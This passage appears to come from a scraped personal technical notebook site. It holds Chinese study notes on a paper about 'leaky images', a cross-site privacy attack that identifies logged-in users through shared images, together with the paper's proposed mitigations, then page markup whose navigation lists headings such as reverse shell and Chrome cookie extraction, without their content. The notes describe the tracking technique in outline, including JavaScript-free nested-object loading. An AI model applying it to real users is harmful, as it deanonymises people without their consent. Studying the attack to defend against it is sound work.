可以攻击aim at单个用户 一群用户 不同服务之间link用户 以及不需要js的</li>\n<li>展示8个流行网站存在问题 让第三方网站能定位他们的用户</li>\n<li>提出多种缓解问题的方案并讨论优缺点</li>\n</ul>\n<p>Table2 shows a two-dimensional matrix 根据是否鉴权+URL是公开、不同用户相同、不同用户不同来区分，只有需要鉴权+公开url 和 需要鉴权+url对攻击者可知 才能做Leaky image攻击</p>\n<p>讨论部分：在方法一节中就讨论related work，比较追踪像素、指纹、定向攻击vs大规模追踪。定向攻击据说对高价值受害者越来越流行[37]</p>\n<p>现实measurement的讨论 Our study of &hellip; in real-world sites enables several observations.</p>\n<ul>\n<li>Leaky images是普遍的 prevalent</li>\n<li>受害者甚至不会注意到被共享了一个图片</li>\n<li>受害者不能unshare</li>\n<li>图片共享服务使用了多种实现策略的混合 use a diverse mix of implementation strategies</li>\n<li>不同网站攻击面不同 varies from site to site</li>\n</ul>\n<p>表达：</p>\n<p>仅仅需要 involve nothing more than &hellip;</p>\n<p>证明现实存在能影响今天最流行网站 Section 4 shows that these cases occur in practice, and that they affect some of today&rsquo;s most popular websites.</p>\n<p>为了理解最流行网站受影响的程度 To understand to what extent popular websites are affected by the privacy problem discussed in this paper</p>\n<p>第一且最重要的The first and perhaps most important observation is that &hellip;</p>\n<p>希望能促进以后更自动化的研究 We hope that our results will spur future work on more automated analyses that identify leaky images</p>\n<p>讨论每个解决方案不足</p>\n<p>The drawback of this fix is that &hellip;</p>\n<p>On the downside, implementing this defense may &hellip;</p>\n<p>However, this mitigation cannot defend against &hellip;</p>\n<p>require the developers to be aware of the vulnerability in the first place. 事先就知道这个漏洞的存在</p>\n<p>和GDPR很搭，要求设计上默认保护 would be in the spirit of the newly adopted European Union&rsquo;s Genearl Data Protection Regulation which requires data protection by design and by default.</p>\n<p>需要更多研究来深入分析可用性+兼容性+部署开销，to aid the browser vendors to take an informed decision, future work should perform an in-depth analysis of all these defenses in terms of usability, compatibility and deployment cost, in the style of &hellip; [9], and possibly propose additional solutions.</p>\n<p>补充了一种新的攻击Leaky images adds a privacy-related attack to the set of existing targeted attacks.</p>\n<p>厂商修复说明问题很重要 This feedback shows that the problem we identified is important to practitioners.</p>\n<p>我们的论文帮助提高开发者和研究者的意识以后避免这个问题 Our paper helps raising awareness among developers and researchers to avoid this privacy issue in the future.</p>\n<p>技术：</p>\n<p>不用onload也可以去检查已经加载的图片的宽高</p>\n<p>用<object data=\"...\">嵌套加载 在外面的失败就会加载里面的，这个方案不需要js</p>\n<p>图片分享服务能分享给一批用户，把每个受害者编码成bit vector，每个bit关联一个图 encode each victim with a bit vector and to associate each bit with one shared image</p>\n<p>这个攻击假设了用户已经在浏览器登录，Skype大部分用户都是通过电脑手机的client，所以这个攻击的影响有限 hence the impact of this attack is limited to the web users</p>\n<p>根本原因 js和图片都不受同源策略影响</p>\n<p>缓解措施：</p>\n<p>服务端：这些方法都要求开发者首先就意识到这种攻击的存在</p>\n<p>禁用基于cookie的鉴权，不同用户url不同 不足：链接的私密性可以被comrpmised如不安全的通道，浏览器的侧信道或者直接让用户以不安全的方式处理链接</p>\n<p>更严格的cookie鉴权，不同用户url不同 不足：实现可能困难要维护用户和url的映射，而且增加了新的访问控制性能损耗</p>\n<p>用CSRF的方式 检查origin头 不足：不能防御信任域的攻击 Facebook之前都允许用户设置html代码</p>\n<p>浏览器：</p>\n<p>默认不使用cookie加载第三方图片</p>\n<p>只有当浏览器确定鉴权与否不影响加载图片的内容 扩展就是默认禁止 用csp扩展来允许双重加载</p>\n<p>类似于ShareMeNot[32] 实现默认阻止第三方图片请求 除非用户显式同意</p>\n<p>浏览器做information flow control 保证图片是否加载成功的信息不发给服务器 但这个侧信道太多</p>\n<p>高级用户：</p>\n<p>图片共享服务商应该提供用户更多控制，例如应该决定谁有权限共享给他，以及当前被共享的列表 但大部分用户不关心while the majority of the users are unlikely to take advantage of such fine-grained controls.</p>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Python/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"..\">\n      \n      \n        <link rel=\"next\" href=\"../gist/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Python - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#python\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Python\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Python\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pip\" class=\"md-nav__link\">\n    安装pip\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pip-mirrorsaliyuncom\" class=\"md-nav__link\">\n    设置pip源 - mirrors.aliyun.com\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"设置pip源 - mirrors.aliyun.com\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#shell\" class=\"md-nav__link\">\n    反弹shell\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#tty\" class=\"md-nav__link\">\n    获得一个tty\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#requestsip\" class=\"md-nav__link\">\n    让requests使用多个IP\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python_1\" class=\"md-nav__link\">\n    Python多线程模板\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#httpserverbasehttpserver\" class=\"md-nav__link\">\n    http.server（BaseHTTPServer）并发性改善\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"http.server（BaseHTTPServer）并发性改善\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#new-version\" class=\"md-nav__link\">\n    New version 不必修改库代码\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#old-version\" class=\"md-nav__link\">\n    Old version 修改库代码(不建议)\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rootpython\" class=\"md-nav__link\">\n    无root权限安装Python\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    中文输出乱码问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pep8\" class=\"md-nav__link\">\n    遵循PEP8检查你的代码\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    生成随机字符串\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python_2\" class=\"md-nav__link\">\n    Python解方程\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#in\" class=\"md-nav__link\">\n    大数据判断in\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonh-no-such-file-or-directory\" class=\"md-nav__link\">\n    解决Python.h: No such file or directory\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    二进制字符串转普通字符串\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bytes\" class=\"md-nav__link\">\n    十六进制字符串转bytes字符串\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python3pat\" class=\"md-nav__link\">\n    用Python3写PAT心得\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#requestspost\" class=\"md-nav__link\">\n    用requests进行post\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#tkinter\" class=\"md-nav__link\">\n    通过tkinter获取、修改剪贴板\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    符号数与无符号数转换\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"符号数与无符号数转换\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    无符号→有符号，为了加上负号：\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    有符号→无符号，为了去掉负号：\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#signalsigalrm-only-linux\" class=\"md-nav__link\">\n    使用signal.SIGALRM在限定时间后退出进程 (only Linux)\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ctrlc\" class=\"md-nav__link\">\n    捕捉用户的Ctrl+C\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#signalsigalrm-only-linux_1\" class=\"md-nav__link\">\n    使用signal.SIGALRM实现定时器 (only Linux)\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pdb\" class=\"md-nav__link\">\n    使用pdb进行调试\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonserverlessfunction-as-service\" class=\"md-nav__link\">\n    使用Python开发Serverless(Function as Service)后端服务\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用Python开发Serverless(Function as Service)后端服务\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    踩过的坑与解决过程(论阿里云是怎么把人气死的)\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"踩过的坑与解决过程(论阿里云是怎么把人气死的)\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#1api\" class=\"md-nav__link\">\n    1.API网关与函数计算的对接\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#2api\" class=\"md-nav__link\">\n    2.修改API网关参数定义后要再次发布\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#3windowsfclifcliexe\" class=\"md-nav__link\">\n    3.不能使用Windows版本的fcli工具(fcli.exe)\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#linuxgbk\" class=\"md-nav__link\">\n    修复Linux下gbk编码的文件名\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#crack-rsa\" class=\"md-nav__link\">\n    Crack RSA!\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Crack RSA!\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    题目信息\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#rsa\" class=\"md-nav__link\">\n    RSA是啥\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    破解的数学原理\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    实现它\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"实现它\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#ne\" class=\"md-nav__link\">\n    题目给的公钥是啥格式，怎么读取出N和e?\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#n-pq\" class=\"md-nav__link\">\n    怎么分解n 得到p和q？\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#d\" class=\"md-nav__link\">\n    怎么计算私钥d\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#flagencint\" class=\"md-nav__link\">\n    怎么把flag.enc当成一个int读入？\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_11\" class=\"md-nav__link\">\n    计算明文\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#flag\" class=\"md-nav__link\">\n    明文这么一个大数 我要的flag呢？\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_12\" class=\"md-nav__link\">\n    完整的代码\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_13\" class=\"md-nav__link\">\n    时间戳与字符串相互转换\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#redis\" class=\"md-nav__link\">\n    用redis存储字典\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nexushd\" class=\"md-nav__link\">\n    搬运种子 从北邮人搬运到NexusHD\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python-seleniumdocker-chrome-headless\" class=\"md-nav__link\">\n    python selenium+Docker chrome headless爬复杂网页\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonroot\" class=\"md-nav__link\">\n    python丢弃root权限\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python-transmissionrpc\" class=\"md-nav__link\">\n    python transmissionrpc\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"python transmissionrpc\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_14\" class=\"md-nav__link\">\n    上传一个种子 开始下载\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#torrent\" class=\"md-nav__link\">\n    获取完整的torrent对象\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#tracker\" class=\"md-nav__link\">\n    给种子增加一个tracker\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#torrenttracker\" class=\"md-nav__link\">\n    修改一个.torrent文件的tracker\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#uwsgi\" class=\"md-nav__link\">\n    uwsgi优雅重启\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#flask\" class=\"md-nav__link\">\n    flask设置一堆静态目录\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python35-openutf-8\" class=\"md-nav__link\">\n    Python3.5 open打开文件默认使用utf-8\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonurl\" class=\"md-nav__link\">\n    Python提取url 正则匹配的回溯爆炸问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ubuntugmpy2\" class=\"md-nav__link\">\n    ubuntu安装gmpy2\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#flask_1\" class=\"md-nav__link\">\n    Flask模板 删去循环引入的多余空格\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sentry\" class=\"md-nav__link\">\n    使用sentry\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用sentry\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#sentry_1\" class=\"md-nav__link\">\n    不要过于依赖Sentry\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pysysargv\" class=\"md-nav__link\">\n    解决命令行执行py文件没有sys.argv的问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonwindows-chromecookie\" class=\"md-nav__link\">\n    Python获取Windows Chrome的Cookie\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#winencodingutf-8\" class=\"md-nav__link\">\n    Win开发摆脱每次都要写的encoding=utf-8\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ubuntu1604python37\" class=\"md-nav__link\">\n    Ubuntu16.04安装Python3.7\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#keyboardinterrupt\" class=\"md-nav__link\">\n    判断代码是否卡住，自动发送KeyboardInterrupt\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonstartup-pythonimport\" class=\"md-nav__link\">\n    